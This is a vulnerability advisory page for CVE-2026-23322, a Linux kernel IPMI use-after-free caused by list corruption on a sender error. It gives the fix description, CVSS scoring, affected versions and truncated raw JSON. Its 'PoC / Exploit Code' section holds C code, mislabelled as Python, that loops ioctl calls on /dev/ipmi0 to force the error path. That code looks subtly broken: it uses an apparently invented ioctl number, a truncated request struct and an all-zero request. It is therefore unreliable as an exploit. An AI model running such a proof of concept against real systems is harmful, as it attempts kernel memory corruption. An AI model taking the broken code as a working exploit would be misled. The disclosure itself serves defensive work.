Security Vulnerability Report
中文
CVE-2026-23322 CVSS 7.8 HIGH

CVE-2026-23322

Published: 2026-03-25 11:16:29
Last Modified: 2026-04-23 21:05:22
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ipmi: Fix use-after-free and list corruption on sender error The analysis from Breno: When the SMI sender returns an error, smi_work() delivers an error response but then jumps back to restart without cleaning up properly: 1. intf->curr_msg is not cleared, so no new message is pulled 2. newmsg still points to the message, causing sender() to be called again with the same message 3. If sender() fails again, deliver_err_response() is called with the same recv_msg that was already queued for delivery This causes list_add corruption ("list_add double add") because the recv_msg is added to the user_msgs list twice. Subsequently, the corrupted list leads to use-after-free when the memory is freed and reused, and eventually a NULL pointer dereference when accessing recv_msg->done. The buggy sequence: sender() fails -> deliver_err_response(recv_msg) // recv_msg queued for delivery -> goto restart // curr_msg not cleared! sender() fails again (same message!) -> deliver_err_response(recv_msg) // tries to queue same recv_msg -> LIST CORRUPTION Fix this by freeing the message and setting it to NULL on a send error. Also, always free the newmsg on a send error, otherwise it will leak.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:* - VULNERABLE
Linux Kernel (Versions prior to commit 594c11d0e1d445f580898a2b8c850f2e3f099368)
Linux Kernel (Versions prior to commit 65ff5d1e4410df05edfbeb7bf2d62f7681ce1d53)
Linux Kernel (Versions prior to commit c08ec55617cb9674a060a3392ea08391ab2a4f74)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-23322: IPMI Use-After-Free * This PoC attempts to trigger the race condition by repeatedly * invoking IPMI operations that may fail, forcing the sender error path. * * Compile: gcc -o poc_ipmi poc_ipmi.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> #define IPMI_BMC_IOCTL 0x1 #define DEVICE "/dev/ipmi0" // or /dev/ipmidev/0 struct ipmi_req { unsigned char *addr; unsigned int addr_len; unsigned long msgid; // ... other fields ... }; int main() { int fd = -1; struct ipmi_req req; int ret; printf("[+] Attempting to open IPMI device..."); fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); printf("[-] Failed to open device. Ensure IPMI is loaded and you have permissions.\n"); return 1; } printf("Done (fd=%d)\n", fd); // Initialize request with potentially malformed data to trigger sender errors memset(&req, 0, sizeof(req)); // In a real scenario, specific timing or message sequences are required // to hit the 'sender() fails' condition twice. printf("[+] Triggering the vulnerability sequence...\n"); for (int i = 0; i < 100; i++) { // Attempt to send command to trigger error path ret = ioctl(fd, IPMI_BMC_IOCTL, &req); // The loop aims to hit the error path where curr_msg is not cleared // causing the list_add corruption on subsequent failures. if (ret < 0) { // Error expected to trigger the bug } } printf("[+] Exploit attempt finished. Check kernel logs for list corruption.\n"); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23322", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:29.107", "lastModified": "2026-04-23T21:05:22.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: Fix use-after-free and list corruption on sender error\n\nThe analysis from Breno:\n\nWhen the SMI sender returns an error, smi_work() delivers an error\nresponse but then jumps back to restart without cleaning up properly:\n\n1. intf->curr_msg is not cleared, so no new message is pulled\n2. newmsg still points to the message, causing sender() to be called\n again with the same message\n3. If sender() fails again, deliver_err_response() is called with\n the same recv_msg that was already queued for delivery\n\nThis causes list_add corruption (\"list_add double add\") because the\nrecv_msg is added to the user_msgs list twice. Subsequently, the\ncorrupted list leads to use-after-free when the memory is freed and\nreused, and eventually a NULL pointer dereference when accessing\nrecv_msg->done.\n\nThe buggy sequence:\n\n sender() fails\n -> deliver_err_response(recv_msg) // recv_msg queued for delivery\n -> goto restart // curr_msg not cleared!\n sender() fails again (same message!)\n -> deliver_err_response(recv_msg) // tries to queue same recv_msg\n -> LIST CORRUPTION\n\nFix this by freeing the message and setting it to NULL on a send error.\nAlso, always free the newmsg on a send error, otherwise it will leak."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nipmi: Soluciona el uso después de liberación y la corrupción de lista en error del remitente\n\nEl análisis de Breno:\n\nCuando el remitente SMI devuelve un error, smi_work() entrega una respuesta de error pero luego salta de nuevo para reiniciar sin limpiar correctamente:\n\n1. intf-&gt;curr_msg no se borra, por lo que no se extrae ningún mensaje nuevo\n2. newmsg todavía apunta al mensaje, haciendo que sender() sea llamado de nuevo con el mismo mensaje\n3. Si sender() falla de nuevo, deliver_err_response() es llamado con el mismo recv_msg que ya estaba en cola para entrega\n\nEsto causa corrupción de list_add ('list_add doble adición') porque el recv_msg es añadido a la lista user_msgs dos veces. Posteriormente, la lista corrupta lleva a un uso después de liberación cuando la memoria es liberada y reutilizada, y eventualmente a una desreferencia de puntero NULL al acceder a recv_msg-&gt;done.\n\nLa secuencia defectuosa:\n\n sender() falla\n -&gt; deliver_err_response(recv_msg) // recv_msg en cola para entrega\n -&gt; goto restart // ¡curr_msg no borrado!\n sender() falla de nuevo (¡mismo mensaje!)\n -&gt; deliver_err_response(recv_msg) // intenta poner en cola el mismo recv_msg\n -&gt; CORRUPCIÓN DE LISTA\n\nSoluciona esto liberando el mensaje y estableciéndolo a NULL en un error de envío. Además, siempre libera el newmsg en un error de envío, de lo contrario, se producirá una fuga."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.1", "versionEndExcluding": "6.18.17", "matchCriteriaId": "07E9D8CD-82F0-4CC6-8038-BF71758D583C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.18:-:*:*:*:*:*:*", "matchCriteriaId": "DCE57113-2223-4308-A0F2-5E6ECFBB3C23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linu ... (truncated)